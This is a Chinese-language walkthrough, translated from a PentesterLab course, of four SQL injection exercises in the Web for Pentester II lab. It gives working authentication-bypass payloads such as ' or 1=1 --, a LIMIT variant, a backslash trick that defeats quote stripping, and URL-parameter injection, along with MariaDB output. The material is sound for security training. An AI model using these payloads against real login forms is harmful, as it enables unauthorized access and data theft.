Web for Pentester II 之 SQL 注入通关教程一

SQL注入是一种常见的数据库漏洞,通过在原始SQL语句中插入代码改变原始语句的含义,来绕过验证或者获取敏感信息。本文为https://pentesterlab.com/exercises/web_for_pentester_II/course的教程的中文译文,插入了一些示例来帮助读者理解。

Example 1

示例1是最常见的SQL注入,目的是绕过身份验证。

该例是绕过身份验证页面最著名的方法,甚至被许多SQL注入相关的漫画所引用。让我们来一探究竟……原始SQL语句如下:

SELECT * FROM USERS WHERE username='[USERNAME]' AND password='[PASSWORD]'

其中[USERNAME]和[PASSWORD]为你登录时所填验证信息,如果SQL查询返回了至少一条记录,那么应用则认为用户名和密码是正确的。所以,SQL注入需要确保至少有一条记录被返回,即使用户名和密码并不正确。

达成上述目标的方法有很多。最好的选择是在[USERNAME]中注入,因为[PASSWORD]大概率会被哈希或加密。

首先我们来重温一下 or 操作符,其真值表如下:

ABA or B
000
101
111
011
or真值表

我们将用此操作符来使 WHERE 后面的条件语句始终为true,为此,我们先通过在[USERNAME]处注入一个单引号来破坏SQL语法:

SELECT * FROM users WHERE username=''' AND password='[PASSWORD]'

当然,上述语句是不合法的,因为引号为奇数个,稍后我们再讨论这点。至此,payload(攻击载荷)仅仅是个单引号,接下来我们需要注入一个始终为true的条件,最简单的方法是使用 or 1=1,因为1=1始终为true,所以整个条件语句一定为true。那么,SQL语句将变成:

SELECT * FROM users WHERE username='' or 1=1 ' AND password='[PASSWORD]'

上述SQL语法仍然不正确,但是如果我们能把 ‘ AND 及后面的部分注释掉,那么就能避免语法不正确的问题,并且条件语句将始终为TRUE,我们可以使用 — 或者#来进行注释,比如像这样:

SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='[PASSWORD]'

那么Mysql将只会看到:

SELECT * FROM users WHERE username='' or 1=1 --

结果将返回所有的用户信息,因此绕过了验证。

MariaDB [sqlinject]> SELECT * FROM users;
+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| test1    | *06C0BF5B64ECE2F648B5F048A71903906BA08E5C |
| test2    | *7CEB3FDE5F7A9C4CE5FBE610D7D8EDA62EBE5F4E |
+----------+-------------------------------------------+
2 rows in set (0.00 sec)

MariaDB [sqlinject]> SELECT * FROM users WHERE username='' or 1=1 --;
+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| test1    | *06C0BF5B64ECE2F648B5F048A71903906BA08E5C |
| test2    | *7CEB3FDE5F7A9C4CE5FBE610D7D8EDA62EBE5F4E |
+----------+-------------------------------------------+
2 rows in set (0.00 sec)

最终的payload为(注意使用–后面有个空格,不加空格可能会有问题):

' or 1=1 -- 

可优化为:

' or 1#

得到payload后,可以直接填在表单用户名字段中并提交。如果你想直接在URL中注入,则还需要将一些字符(=,#,空格等)进行URL编码。

Example 2

示例二和示例一是相同的漏洞。示例一中,程序只检查SQL查询是否有记录反馈,而再次示例中,开发人员加了一条限制,即查询的结果有且只有一条记录,才能通过验证。

所以我们的应对方法也很简单,只需要使用SQL的LIMIT关键字让返回结果只有一条即可。因此,我们的payload为:

' or 1 LIMIT 1 #
MariaDB [sqlinject]> SELECT * FROM users WHERE username='' or 1 LIMIT 1;
+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| test1    | *06C0BF5B64ECE2F648B5F048A71903906BA08E5C |
+----------+-------------------------------------------+
1 row in set (0.00 sec)

Example 3

在该例中,开发人员在意识到SQL注入的危险后,决定通过删除查询中的单引号来拦截攻击。但是,我们仍有方法破坏SQL语法并注入任意SQL。

查询语句仍然是:

SELECT * FROM users WHERE username='[USERNAME]' and password=['PASSWORD']

理论上这次我们不能再直接插入单引号了,但是如果在[USERNAME]中注入反斜杠\,那么查询语句中的第二个单引号,将被转义,第一个单引号将会被第三个单引号关闭。

因此,我们可以在[password]注入一个始终为true的条件来绕过验证,注意注释掉最后一个单引号:

SELECT * FROM users WHERE username='\' AND password=' or 1=1 #'
MariaDB [sqlinject]> SELECT * FROM users WHERE username='\' AND password=' or 1=1 #' 
    -> ;
+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| test1    | *06C0BF5B64ECE2F648B5F048A71903906BA08E5C |
| test2    | *7CEB3FDE5F7A9C4CE5FBE610D7D8EDA62EBE5F4E |
+----------+-------------------------------------------+
2 rows in set (0.00 sec)

Example 4

在此示例中,开发人员将查询的一部分直接放入了请求中。这在传统的web应用中确实很少见,但有时可以在web服务中找到,尤其是对于移动应用。

原url为:

http://....../sqlinjection/example4/?req=username%3d%27hacker%27

解码后为:

http://....../sqlinjection/example4/?req=username='hacker'

猜想username=’hacker’为SQL语句的WHERE部分,可输入如下url进行确认:

http://....../sqlinjection/example4/?req=username='

错误提示为:

Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1: SELECT * FROM users WHERE username=';

因此我们可以确定req=后面为WHERE子句,仿照示例1,我们可以构建如下url来查询任意内容:

http://....../sqlinjection/example4/?req=username='' or 1=1

url编码后为:

http://....../sqlinjection/example4/?req=username=%27%27%20or%201=1